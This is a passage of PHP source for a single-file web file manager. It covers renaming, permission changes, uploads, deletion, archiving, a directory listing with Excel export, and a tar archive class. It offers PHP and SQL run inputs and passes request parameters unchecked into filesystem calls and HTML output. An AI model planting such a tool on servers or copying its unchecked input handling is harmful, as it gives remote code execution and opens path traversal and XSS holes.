        <a href="<?=$backlink?>"><?=__('Back')?></a>
    </td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) {?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
    if(!empty($_REQUEST['save'])) {
        rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
	$msg .= (__('File updated'));
	$_REQUEST['rename'] = $_REQUEST['newname'];
    }
    clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
    </td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
    </td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
		$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
	    }
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
	    $msg .= __('Deleted').' '.$_REQUEST['delete'];
	}
    } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
	    $msg .= __('Created').' '.$_REQUEST['dirname'];
	}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
	    fclose($fp);
	    $msg .= __('Created').' '.$_REQUEST['filename'];
	}
    } elseif (isset($_GET['zip'])) {
	$source = base64_decode($_GET['zip']);
	$destination = basename($source).'.zip';
	set_time_limit(0);
	$phar = new PharData($destination);
	$phar->buildFromDirectory($source);
	if (is_file($destination))
	$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
	'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
	else $msg .= __('Error occurred').': '.__('no files');
    } elseif (isset($_GET['gz'])) {
	$source = base64_decode($_GET['gz']);
	$archive = $source.'.tar';
	$destination = basename($source).'.tar';
	if (is_file($archive)) unlink($archive);
	if (is_file($archive.'.gz')) unlink($archive.'.gz');
	clearstatcache();
	set_time_limit(0);
	//die();
	$phar = new PharData($destination);
	$phar->buildFromDirectory($source);
	$phar->compress(Phar::GZ,'.tar.gz');
	unset($phar);
	if (is_file($archive)) {
	    if (is_file($archive.'.gz')) {
		unlink($archive); 
		$destination .= '.gz';
	    }

	    $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
	    '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
	    .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
	} else $msg .= __('Error occurred').': '.__('no files');
    } elseif (isset($_GET['decompress'])) {
	// $source = base64_decode($_GET['decompress']);
	// $destination = basename($source);
	// $ext = end(explode(".", $destination));
	// if ($ext=='zip' OR $ext=='gz') {
	    // $phar = new PharData($source);
	    // $phar->decompress();
	    // $base_file = str_replace('.'.$ext,'',$destination);
	    // $ext = end(explode(".", $base_file));
	    // if ($ext=='tar'){
		// $phar = new PharData($base_file);
		// $phar->extractTo(dir($source));
	    // }
	// } 
	// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
    } elseif (isset($_GET['gzfile'])) {
	$source = base64_decode($_GET['gzfile']);
	$archive = $source.'.tar';
	$destination = basename($source).'.tar';
	if (is_file($archive)) unlink($archive);
	if (is_file($archive.'.gz')) unlink($archive.'.gz');
	set_time_limit(0);
	//echo $destination;
	$ext_arr = explode('.',basename($source));
	if (isset($ext_arr[1])) {
	    unset($ext_arr[0]);
	    $ext=implode('.',$ext_arr);
	} 
	$phar = new PharData($destination);
	$phar->addFile($source);
	$phar->compress(Phar::GZ,$ext.'.tar.gz');
	unset($phar);
	if (is_file($archive)) {
	    if (is_file($archive.'.gz')) {
		unlink($archive); 
		$destination .= '.gz';
	    }
	    $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
	    '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
	    .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
	} else $msg .= __('Error occurred').': '.__('no files');
    }
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?if(!empty($msg)){?>
<tr>
    <td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?}?>
<tr>
    <td class="row2">
	<table>
	    <tr>
	    <td>
		<?=fm_home()?>
	    </td>
	    <td>
	    <?if(!empty($fm_config['make_directory'])) {?>
		<form method="post" action="<?=$url_inc?>">
		<input type="hidden" name="path" value="<?=$path?>" />
		<input type="text" name="dirname" size="15">
		<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
		</form>
	    <?}?>
	    </td>
	    <td>
	    <?if(!empty($fm_config['new_file'])) {?>
		<form method="post" action="<?=$url_inc?>">
		<input type="hidden" name="path" value="<?=$path?>" />
		<input type="text" name="filename" size="15">
		<input type="submit" name="mkfile" value="<?=__('New file')?>">
		</form>
	    <?}?>
	    </td>
	    <td>
	    <?=fm_run_input('php')?>
	    </td>
	    <td>
	    <?=fm_run_input('sql')?>
	    </td>
	    </tr>
	</table>
    </td>
    <td class="row3">
	<table>
	<tr>
	<td>
	<?if (!empty($fm_config['upload_file'])) {?>
	    <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
	    <input type="hidden" name="path" value="<?=$path?>" />
	    <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
	    <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
	    <input type="submit" name="test" value="<?=__('Upload')?>" />
	    </form>
	<?}?>
	</td>
	<td>
	<?if ($auth['authorize']) {?>
	    <form action="" method="post">&nbsp;&nbsp;&nbsp;
	    <input name="quit" type="hidden" value="1">
	    <?=__('Hello')?>, <?=$auth['login']?>
	    <input type="submit" value="<?=__('Quit')?>">
	    </form>
	<?}?>
	</td>
	<td>
	<?=fm_lang_form($language)?>
	</td>
	<tr>
	</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
	$filedata[7] = '';
	if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
	$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
	 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
	$link = 
	    $fm_config['show_img']&&getimagesize($filename) 
	    ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
	    . fm_img_link($filename)
	    .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
	    : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
	$e_arr = explode(".", $file);
	$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
	$arlink = in_array($ext,array('zip','gz','tar')) 
	? ''
	: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
    $mtime = explode(' ', microtime()); 
    $totaltime = $mtime[0] + $mtime[1] - $starttime; 
    echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
    if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
    if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
    if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
    if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
    if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
    if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
    if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
    ?>
</div>
<?=$auth['script']?>
<script type="text/javascript">
function download_xls(filename, text) {
    var element = document.createElement('a');
    element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
    element.setAttribute('download', filename);
    element.style.display = 'none';
    document.body.appendChild(element);
    element.click();
    document.body.removeChild(element);
}

function base64_encode(m) {
    for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
	c = m.charCodeAt(l);
	if (128 > c) d = 1;
	else
	    for (d = 2; c >= 2 << 5 * d;) ++d;
	for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
    }
    b && (g += k[f << 6 - b]);
    return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
	t = new Date();
	filename = 'fm_' + t.toISOString() + '.xls'
	download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

    this.CreateExcelSheet = 
	function(el, name){
	    if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

		var x = document.getElementById(el).rows;

		var xls = new ActiveXObject("Excel.Application");

		xls.visible = true;
		xls.Workbooks.Add
		for (i = 0; i < x.length; i++) {
		    var y = x[i].cells;

		    for (j = 0; j < y.length; j++) {
			xls.Cells(i + 1, j + 1).Value = y[j].innerText;
		    }
		}
		xls.Visible = true;
		xls.UserControl = true;
		return xls;
	    } else {
		tableToExcelData(el, name);
	    }
	}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
    var $archive_name = '';
    var $tmp_file = 0;
    var $file_pos = 0;
    var $isGzipped = true;
    var $errors = array();
    var $files = array();
    
    function __construct(){
	if (!isset($this->errors)) $this->errors = array();
    }
    
    function createArchive($file_list){
	$result = false;
	if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
	else $newArchive = true;
	if ($newArchive){
	    if (!$this->openWrite()) return false;
	} else {
	    if (filesize($this->archive_name) == 0)	return $this->openWrite();
	    if ($this->isGzipped) {
		$this->closeTmpFile();
		if (!rename($this->archive_name, $this->archive_name.'.tmp')){
		    $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
		    return false;
		}
		$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
		if (!$tmpArchive){
		    $this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
		    rename($this->archive_name.'.tmp', $this->archive_name);
		    return false;
		}
		if (!$this->openWrite()){
		    rename($this->archive_name.'.tmp', $this->archive_name);
		    return false;
		}
		$buffer = gzread($tmpArchive, 512);
		if (!gzeof($tmpArchive)){
		    do {
			$binaryData = pack('a512', $buffer);
			$this->writeBlock($binaryData);
			$buffer = gzread($tmpArchive, 512);
		    }
		    while (!gzeof($tmpArchive));
		}
		gzclose($tmpArchive);
		unlink($this->archive_name.'.tmp');
	    } else {
		$this->tmp_file = fopen($this->archive_name, 'r+b');
		if (!$this->tmp_file)	return false;
	    }
	}
	if (isset($file_list) && is_array($file_list)) {
	if (count($file_list)>0)
	    $result = $this->packFileArray($file_list);
	} else $this->errors[] = __('No file').__(' to ').__('Archive');
	if (($result)&&(is_resource($this->tmp_file))){
	    $binaryData = pack('a512', '');
	    $this->writeBlock($binaryData);
	}
	$this->closeTmpFile();
	if ($newArchive && !$result){
	$this->closeTmpFile();
	unlink($this->archive_name);
	}
	return $result;
    }

    function restoreArchive($path){
	$fileName = $this->archive_name;
	if (!$this->isGzipped){
	    if (file_exists($fileName)){
		if ($fp = fopen($fileName, 'rb')){
		    $data = fread($fp, 2);
		    fclose($fp);
		    if ($data == '\37\213'){
			$this->isGzipped = true;
		    }
		}
	    }
	    elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
	} 
	$result = true;
	if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
	else $this->tmp_file = fopen($fileName, 'rb');
	if (!$this->tmp_file){
	    $this->errors[] = $fileName.' '.__('is not readable');
	    return false;
	}
	$result = $this->unpackFileArray($path);
	    $this->closeTmpFile();
	return $result;
    }

    function showErrors	($message = '') {
	$Errors = $this->errors;
	if(count($Errors)>0) {
	if (!empty($message)) $message = ' ('.$message.')';
	    $message = __('Error occurred').$message.': <br/>';
	    foreach ($Errors as $value)
		$message .= $value.'<br/>';
	    return $message;	
	} else return '';
	
    }
    
    function packFileArray($file_array){
	$result = true;
	if (!$this->tmp_file){
	    $this->errors[] = __('Invalid file descriptor');
	    return false;
	}
	if (!is_array($file_array) || count($file_array)<=0)
          return true;
	for ($i = 0; $i<count($file_array); $i++){
	    $filename = $file_array[$i];
	    if ($filename == $this->archive_name)
		continue;
	    if (strlen($filename)<=0)
		continue;
	    if (!file_exists($filename)){
		$this->errors[] = __('No file').' '.$filename;
		continue;
	    }
	    if (!$this->tmp_file){
	    $this->errors[] = __('Invalid file descriptor');
	    return false;
	    }
	if (strlen($filename)<=0){
	    $this->errors[] = __('Filename').' '.__('is incorrect');;
	    return false;
	}
	$filename = str_replace('\\', '/', $filename);
	$keep_filename = $this->makeGoodPath($filename);
	if (is_file($filename)){
	    if (($file = fopen($filename, 'rb')) == 0){
		$this->errors[] = __('Mode ').__('is incorrect');
	    }
		if(($this->file_pos == 0)){
		    if(!$this->writeHeader($filename, $keep_filename))
			return false;
		}
		while (($buffer = fread($file, 512)) != ''){
		    $binaryData = pack('a512', $buffer);
		    $this->writeBlock($binaryData);
		}
	    fclose($file);
	}	else $this->writeHeader($filename, $keep_filename);
	    if (@is_dir($filename)){
		if (!($handle = opendir($filename))){
		    $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
		    continue;
		}
		while (false !== ($dir = readdir($handle))){
		    if ($dir!='.' && $dir!='..'){
			$file_array_tmp = array();
			if ($filename != '.')
			    $file_array_tmp[] = $filename.'/'.$dir;
			else
			    $file_array_tmp[] = $dir;

			$result = $this->packFileArray($file_array_tmp);
		    }
		}
		unset($file_array_tmp);
		unset($dir);
		unset($handle);
	    }
	}
	return $result;
    }

    function unpackFileArray($path){ 
	$path = str_replace('\\', '/', $path);
	if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
	clearstatcache();
	while (strlen($binaryData = $this->readBlock()) != 0){
	    if (!$this->readHeader($binaryData, $header)) return false;
	    if ($header['filename'] == '') continue;
	    if ($header['typeflag'] == 'L'){			//reading long header
		$filename = '';
		$decr = floor($header['size']/512);
		for ($i = 0; $i < $decr; $i++){
		    $content = $this->readBlock();
		    $filename .= $content;
		}
		if (($laspiece = $header['size'] % 512) != 0){
		    $content = $this->readBlock();
		    $filename .= substr($content, 0, $laspiece);
		}
		$binaryData = $this->readBlock();
		if (!$this->readHeader($binaryData, $header)) return false;
		else $header['filename'] = $filename;
		return true;
	    }
	    if (($path != './') && ($path != '/')){
		while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
		if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
		else $header['filename'] = $path.'/'.$header['filename'];
	    }
	    
	    if (file_exists($header['filename'])){
		if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
		    $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
		    return false;
		}
		if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
		    $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
		    return false;
		}
		if (!is_writeable($header['filename'])){
		    $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
		    return false;
		}
	    } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
		$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
		return false;
	    }

	    if ($header['typeflag'] == '5'){
		if (!file_exists($header['filename']))		{
		    if (!mkdir($header['filename'], 0777))	{
			
			$this->errors[] = __('Cannot create directory').' '.$header['filename'];
			return false;
		    } 
		}
	    } else {
		if (($destination = fopen($header['filename'], 'wb')) == 0) {
		    $this->errors[] = __('Cannot write to file').' '.$header['filename'];
		    return false;
		} else {
		    $decr = floor($header['size']/512);
		    for ($i = 0; $i < $decr; $i++) {
			$content = $this->readBlock();
			fwrite($destination, $content, 512);
		    }
		    if (($header['size'] % 512) != 0) {
			$content = $this->readBlock();
			fwrite($destination, $content, ($header['size'] % 512));
		    }
		    fclose($destination);
		    touch($header['filename'], $header['time']);
		}
		clearstatcache();
		if (filesize($header['filename']) != $header['size']) {
		    $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
		    return false;
		}
	    }
	    if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
	    if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
	    $this->dirs[] = $file_dir;
	    $this->files[] = $header['filename'];
    
	}
	return true;
    }

    function dirCheck($dir){
	$parent_dir = dirname($dir);

	if ((@is_dir($dir)) or ($dir == ''))
	    return true;

	if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
	    return false;

	if (!mkdir($dir, 0777)){
	    $this->errors[] = __('Cannot create directory').' '.$dir;
	    return false;
	}
	return true;
    }

    function readHeader($binaryData, &$header){
	if (strlen($binaryData)==0){
	    $header['filename'] = '';
	    return true;
	}

	if (strlen($binaryData) != 512){
	    $header['filename'] = '';
	    $this->__('Invalid block size').': '.strlen($binaryData);
	    return false;
	}

	$checksum = 0;
	for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
	for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
	for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

	$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

	$header['checksum'] = OctDec(trim($unpack_data['checksum']));
	if ($header['checksum'] != $checksum){
	    $header['filename'] = '';
	    if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
	    $this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
	    return false;
	}

	if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
	$header['filename'] = trim($unpack_data['filename']);
	$header['mode'] = OctDec(trim($unpack_data['mode']));
	$header['user_id'] = OctDec(trim($unpack_data['user_id']));
	$header['group_id'] = OctDec(trim($unpack_data['group_id']));
	$header['size'] = OctDec(trim($unpack_data['size']));
	$header['time'] = OctDec(trim($unpack_data['time']));
	return true;
    }

    function writeHeader($filename, $keep_filename){
	$packF = 'a100a8a8a8a12A12';
	$packL = 'a1a100a6a2a32a32a8a8a155a12';
	if (strlen($keep_filename)<=0) $keep_filename = $filename;
	$filename_ready = $this->makeGoodPath($keep_filename);

	if (strlen($filename_ready) > 99){							//write long header
	$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
	$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
	$checksum = 0;
        //  First part of the header
	for ($i = 0; $i < 148; $i++)
	    $checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
	for ($i = 148; $i < 156; $i++)
	    $checksum += ord(' ');
        //  Last part of the header
	for ($i = 156, $j=0; $i < 512; $i++, $j++)
	    $checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
	$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
	$checksum = sprintf('%6s ', DecOct($checksum));
	$binaryData = pack('a8', $checksum);
	$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
	$this->writeBlock($dataLast, 356);

	$tmp_filename = $this->makeGoodPath($filename_ready);

	$i = 0;
	    while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
		$binaryData = pack('a512', $buffer);
		$this->writeBlock($binaryData);
	    }
	return true;
	}
	$file_info = stat($filename);
	if (@is_dir($filename)){
	    $typeflag = '5';
	    $size = sprintf('%11s ', DecOct(0));
	} else {
	    $typeflag = '';
	    clearstatcache();
	    $size = sprintf('%11s ', DecOct(filesize($filename)));
	}
	$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
	$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
	$checksum = 0;
	for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
	for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
	for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
	$this->writeBlock($dataFirst, 148);
	$checksum = sprintf('%6s ', DecOct($checksum));
	$binaryData = pack('a8', $checksum);
	$this->writeBlock($binaryData, 8);
	$this->writeBlock($dataLast, 356);
	return true;
    }


    function openWrite(){
	if ($this->isGzipped)
	    $this->tmp_file = gzopen($this->archive_name, 'wb9f');
	else
	    $this->tmp_file = fopen($this->archive_name, 'wb');

	if (!($this->tmp_file)){
	    $this->errors[] = __('Cannot write to file').' '.$this->archive_name;
	    return false;
	}
	return true;
    }

    function readBlock(){
	if (is_resource($this->tmp_file)){
	    if ($this->isGzipped)
		$block = gzread($this->tmp_file, 512);
	    else
		$block = fread($this->tmp_file, 512);
	} else	$block = '';

	return $block;
    }

    function writeBlock($data, $length = 0){
	if (is_resource($this->tmp_file)){
	
	    if ($length === 0){
		if ($this->isGzipped)
		    gzputs($this->tmp_file, $data);
		else
		    fputs($this->tmp_file, $data);
	    } else {
		if ($this->isGzipped)
		    gzputs($this->tmp_file, $data, $length);
		else
		    fputs($this->tmp_file, $data, $length);
	    }
	}
    }

    function closeTmpFile(){
	if (is_resource($this->tmp_file)){
	    if ($this->isGzipped)
		gzclose($this->tmp_file);
	    else
		fclose($this->tmp_file);

	    $this->tmp_file = 0;
	}
    }

    function makeGoodPath($path){
	if (strlen($path)>0){
	    $path = str_replace('\\', '/', $path);
	    $partPath = explode('/', $path);
	    $els = count($partPath)-1;
	    for ($i = $els; $i>=0; $i--){
		if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
		elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
		    $result = $partPath[$i].($i!=$els ? '/'.$result : '');
	    }
	} else $result = '';
	
	return $result;
    }
}
?>